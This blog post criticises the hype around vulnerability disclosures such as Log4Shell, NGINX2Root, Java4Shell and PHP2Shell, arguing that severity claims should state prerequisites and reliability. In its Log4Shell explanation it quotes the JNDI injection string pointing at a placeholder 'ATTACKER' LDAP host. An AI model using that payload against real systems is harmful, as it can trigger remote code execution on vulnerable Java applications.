Really Conditional Execution (RCE) & Limited Practical Exploitation (LPE)
Let me start by saying that neither vulnerabilities nor research itself are the issue. Many findings are incredibly interesting, unique and impressive in their own right. However, communicating severity without adequately contextualizing exploitation prerequisites and likelihood of success is becoming a serious problem. One that erodes trust and perception within the community and the public. The significance of a finding deserves recognition, but it's not synonymous with practical threat and that distinction needs to be clearly defined.
With the rise of LLM-assisted research and the growing prevalence of this issue, it's time we had a real conversation about it.
A major discovery can be a crowning achievement that puts countless hours of hard work on the map for the world to see. Many of us who enter security dream of accomplishing something meaningful and research offers the opportunity to define careers, impact companies and change lives.
However, over the last few months, I've started to notice something, and perhaps you have too. The signal-to-noise ratio in vulnerability reporting is deteriorating, with genuine impact being buried beneath slop, catchy names, dedicated domains, and crazy headlines.

As a community, we need to exercise greater caution in evaluating practical exploitability and determining whether something warrants the level of attention it's receiving.
2Shell or Not 2Shell, That Is the Question
The proliferation of 4shells, 2shells, 4roots, and 2roots is comical in itself. Not everything needs a domain and much of this naming convention can be traced back to Log4Shell (CVE-2021-44228) in 2021, which serves as a useful reference for discussing how we communicate today.

Log4Shell became pretty significant, warranting widespread attention due to its extensive attack surface, low complexity, default functionality and confirmed exploitation in the wild.
Why moo?
Because it's a widely used Java logging library that supports lookup expressions such as ${env:HOSTNAME} allowing dynamic information that can be included in logs. The vulnerability came when attacker-controlled input was interpreted as a JNDI (Java Naming and Directory Interface) lookup: ${jndi[:]ldap://ATTACKER/a} which could trigger outbound lookups, potentially resulting in unauthenticated RCE (Remote Code Execution).

Fast forward to this week, and we have disclosures like NGINX2Root and Java4Shell, both notable, but with considerably different barriers.
NGINX2Root consists of six newly disclosed vulnerabilities: Five RCE's affecting different configurations and a separate Linux kernel LPE (Local Privilege Escalation) to get root. The sixth was never previously disclosed, but dates back to 2018, with a memory corruption issue in the SCTP subsystem. Achieving root here involves multiple stages, each introducing additional complexity and potential points of failure.
Java4Shell has hardware-specific requirements, including an x86-64 processor with AVX-512 VBMI (Vector Byte Manipulation Instructions) support, an extension not universally supported. It also requires a vulnerable Java runtime, and an application exposing the affected Bas64 decoder. Even when these conditions are met, translating this into a reliable RCE remains application-dependent.
In both cases, satisfying the conditions and successfully achieving the impact advertised in the media are two very different things. Difficulty and reliability are equally as important when assessing threat.
Make no mistake: These distinctions matter.
Running affected software, functionality, triggering a vulnerability, establishing a viable primitive and reliability are all important when communicating severity, yet are rarely afforded the same transparency/visibility as advertised.
Similarly, the recent Linux kernel UAF (CVE-2026-98432) involves two race conditions in which IPv4 options can be prematurely freed while another CPU is still accessing them. Triggering a UAF does not inherently establish RCE. It depends on timing, reliable reuse of the freed allocation, a useful primitive and overcoming kernel mitigations. While it was demonstrated against an MPTCP listener, reproducing it and achieving reliable RCE are different beasts.
PHP2Shell (CVE-2026-109618//CVE-2026-109619) presents another example. While unauthenticated RCE was demonstrated, it involves memory corruption and depends on the PHP runtime, SAPI, memory allocation behavior, and exploitation technique. A working exploit in one environment doesn't translate across others.

In each of these cases, the conditions, difficulty and reliability vary drastically.
These are precisely the details that deserve greater visibility in respect to coverage.
Beyond all this crazy branding lies a much larger issue. One where we need to rethink how we classify, score, report and prioritize vulnerabilities, as we are in desperate need of re-evaluation, especially when findings aren't practical.
A rating should inform risk, not substitute for it.
When every finding is marketed as a critical RCE, it erodes trust, creates alert fatigue and obscures vulnerabilities that pose a more immediate threat with fewer barriers.
This isn't about discrediting research or diminishing significance. It's about demanding greater transparency around conditions, complexity, and reliability.
Just some food for thought.
-- pirate.moo out 😺